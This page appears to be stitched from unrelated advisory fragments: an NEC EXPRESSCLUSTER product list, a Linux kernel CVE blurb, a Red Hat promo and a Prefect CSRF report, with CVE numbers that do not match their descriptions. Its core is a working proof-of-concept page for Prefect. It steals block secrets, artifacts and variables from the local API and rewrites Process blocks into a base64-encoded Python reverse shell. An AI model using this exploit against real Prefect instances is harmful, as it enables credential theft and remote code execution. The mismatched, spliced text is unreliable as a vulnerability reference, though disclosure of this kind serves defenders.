EXPRESSCLUSTER X SingleServerSafe 3.0 for Windows  
EXPRESSCLUSTER X SingleServerSafe 3.1 for Windows  
EXPRESSCLUSTER X SingleServerSafe 3.2 for Windows  
EXPRESSCLUSTER X SingleServerSafe 3.3 for Windows  
EXPRESSCLUSTER X SingleServerSafe 4.0 for Windows  
EXPRESSCLUSTER X SingleServerSafe 4.1 for Windows  
EXPRESSCLUSTER X SingleServerSafe 4.2 for Windows  
EXPRESSCLUSTER X SingleServerSafe 4.3 for Windows  
EXPRESSCLUSTER X SingleServerSafe 5.0 for Windows

EXPRESSCLUSTER X 1.0 for Linux  
EXPRESSCLUSTER X 2.0 for Linux  
EXPRESSCLUSTER X 2.1 for Linux  
EXPRESSCLUSTER X 3.0 for Linux  
EXPRESSCLUSTER X 3.1 for Linux  
EXPRESSCLUSTER X 3.2 for Linux  
EXPRESSCLUSTER X 3.3 for Linux  
EXPRESSCLUSTER X 4.0 for Linux  
EXPRESSCLUSTER X 4.1 for Linux  
EXPRESSCLUSTER X 4.2 for Linux  
EXPRESSCLUSTER X 4.3 for Linux  
EXPRESSCLUSTER X 5.0 for Linux  
EXPRESSCLUSTER X 5.1 for Linux

EXPRESSCLUSTER X 1.0 SingleServerSafe for Linux  
EXPRESSCLUSTER X 2.0 SingleServerSafe for Linux  
EXPRESSCLUSTER X 2.1 SingleServerSafe for Linux  
EXPRESSCLUSTER X 3.0 SingleServerSafe for Linux  
EXPRESSCLUSTER X 3.1 SingleServerSafe for Linux  
EXPRESSCLUSTER X 3.2 SingleServerSafe for Linux  
EXPRESSCLUSTER X 3.3 SingleServerSafe for Linux  
EXPRESSCLUSTER X 4.0 SingleServerSafe for Linux  
EXPRESSCLUSTER X 4.1 SingleServerSafe for Linux  
EXPRESSCLUSTER X 4.2 SingleServerSafe for Linux  
EXPRESSCLUSTER X 4.3 SingleServerSafe for Linux  
EXPRESSCLUSTER X 5.0 SingleServerSafe for Linux  
EXPRESSCLUSTER X 5.1 SingleServerSafe for Linux

**Solution**

**References**

**Credit**

reported by Mr. David Levard in Videotron for NEC-PSIRT

**Update**

CVE-2023-39548: NVNV23-009_en: セキュリティ情報 | NEC

A null pointer dereference flaw was found in the Linux kernel API for the cryptographic algorithm scatterwalk functionality. This issue occurs when a user constructs a malicious packet with specific socket configuration, which could allow a local user to crash the system or escalate their privileges on the system.

**Red Hat Product Security Center**

Engage with our Red Hat Product Security team, access security updates, and ensure your environments are not exposed to any known security vulnerabilities.

Product Security Center

CVE-2023-6176: cve-details

An attacker is able to steal secrets and potentially gain remote code execution via CSRF using the Prefect API.

**Description**

If you are running the dashboard locally there is no csrf/cors/no auth and therefore you are vulnerable to cross site request forgeries. Worse yet, the service is almost certainly at 127.0.0.1:4200, reducing any need for recon or brute force. CSRF/cors/lack of auth is also likely to be a issue on self hosted instances based on the lack of documentation about how to configure auth to function similar to the cloud version.

**Proof of Concept**

    <!doctype html>
    
    <html lang="en">
    
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Prefect cross site request POC</title>
        <meta name="author" content="Joshua Bonnett">
        <meta property="og:title" content="Prefect cross site request POC">
        <meta property="og:description" content="A simple poc for prefect block data extraction ">
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.0/jquery.min.js"></script>
    </head>
    
    <body>
        <hr />
        <h1> Stolen Block content:</h1>
        <div class="block_content"> </div>
        <h1> Stolen Artifact content:</h1>
        <hr />
        <div class="artifacts"> </div>
        <hr />
        <h1> Stolen variable content:</h1>
        <hr />
        <div class="vars"> </div>
        <hr />
        <h1> Notes:</h1>
        Note that this wasn't sent anywhere, but it easily could have been sent with a second post to a server of my
        choosing, and it need not be on its own page, it could be in a ad, 10 iframes deep on a common watering hole site.
    
        Recommendation: actually enforce csrf header requirements, get rid of the "include_secrets" api flag.
        <script>
    
            fetch("http://127.0.0.1:4200/api/block_documents/filter", {
                "headers": {
                    "accept": "application/json, text/plain, */*",
                    "content-type": "application/json",
                },
                "body": "{\"include_secrets\":true}",
                "method": "POST",
                "mode": "cors",
            }).then(x => x.text()).then(y => $('div.block_content').html(y));
    
            fetch("http://127.0.0.1:4200/api/artifacts/latest/filter", {
                "headers": {
                    "accept": "application/json, text/plain, */*",
                    "content-type": "application/json",
                },
                "body": "",
                "method": "POST",
                "mode": "cors",
            }).then(x => x.text()).then(y => $('div.artifacts').html(y));
            fetch("  http://127.0.0.1:4200/api/variables/filter", {
                "headers": {
                    "accept": "application/json, text/plain, */*",
                    "content-type": "application/json",
                },
                "body": "",
                "method": "POST",
                "mode": "cors",
            }).then(x => x.text()).then(y => $('div.vars').html(y));
    
            //***** Find process blocks and change them****//
            fetch("http://127.0.0.1:4200/api/block_documents/filter", {
                "headers": {
                    "accept": "application/json, text/plain, */*",
                    "content-type": "application/json",
                },
                "body": "{\"include_secrets\":true}",
                "method": "POST",
                "mode": "cors",
            }).then(x => x.json()).then(function (data) {
                data.forEach(element => {
                    if (element.block_type.name == "Process") {
                        fetch("http://127.0.0.1:4200/api/block_documents/" + element.id, {
                            "headers": {
                                "accept": "application/json, text/plain, */*",
                                "accept-language": "en-US,en;q=0.9",
                                "cache-control": "no-cache",
                                "content-type": "application/json",
                                "pragma": "no-cache",
                                "sec-ch-ua-mobile": "?0",
                                "sec-ch-ua-platform": "\"Linux\"",
                                "sec-fetch-dest": "empty",
                                "sec-fetch-mode": "cors",
                                "sec-fetch-site": "same-origin",
                                "sec-gpc": "1",
                                "x-prefect-ui": "true"
                            },
                            "referrer": "http://127.0.0.1:4200/blocks/block/e3129574-2094-4411-a685-5c327a0201df/edit",
                            "body": "{\"data\":{\"command\":[\"python\", \"-c\", \"import base64,sys;exec(base64.b64decode(sys.argv[1]))\", \"aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI3LjAuMC4xIiw5MDAxKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIp\"], \"stream_output\":true}, \"merge_existing_data\":false}",
                            "method": "PATCH"
                        });
                    }
                });
            });
        </script>
    </body>
    
    </html>
    

**Impact**

Stealing or changing secrets from blocks(example: aws creds, azur cred blocks) Stealing or changing variables inputs from blocks/variables(example: remote file block,) Stealing any output data from artifacts(Example: output from ml runs)

Reverse shell is possible by changing any existing Process blocks to a reverse shell (set to localhost port 9001 in the Poc, but I could have it connect back over the internet), triggers when a flow that uses that block runs. I could add code to trigger a quick run on all flows to ensure connect back shell happens immediately but I leave that to the reader.

A very similar effect could happen within the docker container, Azure Container Instance Job, ECS Task, GCP Cloud Run Job and Kubernetes Job blocks if they are configured. I didn't include them in the poc because of the complexity of setting them up in my dev env, but adapting the poc to each of these block types would be very simple.

I would recommend moving the configuration of those block types into flow code where it isnt updateable from the web, and it can be managed like code.

**Occurrences**

server.py L560

It is worth setting some limits in cors by default, it is a shame to have the middleware but have it wide open.

block\_documents.py L80

Letting the api read block secrets just by asking for them with no extra auth really isn't ideal. Server should enforce visibility rather than leaving it to the request

block\_documents.py L52

Letting the api read block secrets just by asking for them with no extra auth really isn't ideal. Server should enforce visibility rather than leaving it to the request

CVE-2023-6022: Can use csrf to steal/modify block content, artifact content, variables possibly leading to RCE when the dashboard is running on a developers workstation in prefect

Tag

#linux